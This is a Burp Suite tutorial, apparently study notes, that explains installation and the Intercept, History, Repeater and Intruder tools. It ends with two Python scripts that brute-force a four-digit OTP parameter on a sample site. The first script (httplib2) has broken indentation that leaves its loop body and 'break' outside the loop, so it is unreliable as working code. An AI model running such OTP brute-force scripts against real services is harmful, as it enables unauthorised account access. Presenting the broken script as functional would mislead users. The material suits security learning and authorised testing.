Burp Suite

Definition

Burp Suite is a web proxy program (packet manipulation program) that sits between the client and the server.

It allows interception of data being sent between the two and provides various tools such as vulnerability scanners and interface analysis tools for web applications.

Usage

• Detecting vulnerabilities in web applications

• Fixing security flaws

• Analyzing web application interfaces

Installation on Ubuntu

1. Install Java

    sudo apt-get install openjdk-8-jre
   

2. Download Burp Suite Community edition

   https://portswigger.net/burp/communitydownload

3. Run the installation file

   Open the terminal in the download folder

    sudo bash burpsuite_community_linux_v2021_9_1.sh
   

4. Run Burp Suite

   Go to /usr/local/bin, the default installation location, and run Burp Suite from the terminal

    /BurpSuiteCommunity
   

Key Features of Burp Suite

Intercept

Definition

One of the features of Burp Suite allows you to stop requests being sent to the server. You can modify the packet in the middle and send it.

Steps

1. Turn on proxy-intercept-intercept

2. Open the browser

All requests made by the opened Chromium browser will be stopped in the middle, and cannot be sent without permission from Burp Suite.

• Forward: Sends the stopped request to the server. You can modify the request before sending it.

• Drop: Deletes the stopped request. The server does not receive this request.

History

Definition

One of the features of Burp Suite allows you to see all requests and responses made in the Chromium browser.

Steps

1. proxy-intercept-HTTP history

2. Open the browser

You can view all requests and responses made in the opened Chromium browser.

Repeater

Definition

One of the features of Burp Suite allows you to send a request multiple times with modifications to the server and see the response immediately after sending.

Steps

1. proxy-intercept-HTTP history-Select the request you want to repeat-Right-click-Send to Repeater

2. Modify the request and click "Send" to see the response

Intruder

Definition

One of the features of Burp Suite allows you to brute force passwords by sending repeated requests.

Steps

1. proxy-intercept-HTTP history-Select the request you want to repeat-Right-click-Send to Intruder

2. position-clear-select the part you want to modify repeatedly-Add

3. payload-Set how to modify the selected part

4. Start attack

The attack speed is a bit slow and you have to search from predefined places, so if you need complex conditions, it is better to write and attack separately with Python.

If you use Python libraries such as httplib2 or requests, you can replace the Intruder function.

Python Example

HTTP request: GET example.php?otp_num=1111 HTTP/1.1

Variable: otp_num

Range of attempts: 0000~9999

Condition: Success

import httplib2

# Target website URL (here: example.com)
url = "<https://example.com/example.php>"

# Create an httplib2 instance
http_obj = httplib2.Http()

# Range of otp_num (0000 to 9999)
for otp_num in range(10000):
    # Format otp_num as a 4-digit number (e.g., 0035)
otp_num_formatted = f"{otp_num:04d}"

# Add otp_num parameter to GET request
request_url = f"{url}?otp_num={otp_num_formatted}"
response, content = http_obj.request(request_url, method="GET")

# You can modify the processing depending on how you want to find the desired result.
# For example, if the server returns a specific message, you can check it.
if b"Success" in content:
    print(f"Success! OTP number is: {otp_num_formatted}")
    break
else:
    print(f"Failed for OTP number: {otp_num_formatted}")

import requests

# Target website URL (here: example.com)
url = "<https://example.com/example.php>"

# Range of otp_num (0000 to 9999)
for otp_num in range(10000):
    # Format otp_num as a 4-digit number (e.g., 0035)
    otp_num_formatted = f"{otp_num:04d}"

    # Add otp_num parameter to GET request
    response = requests.get(url, params={"otp_num": otp_num_formatted})

    # You can modify the processing depending on how you want to find the desired result.
    # For example, if the server returns a specific message, you can check it.
    if "Success" in response.text:
        print(f"Success! OTP number is: {otp_num_formatted}")
        break
    else:
        print(f"Failed for OTP number: {otp_num_formatted}")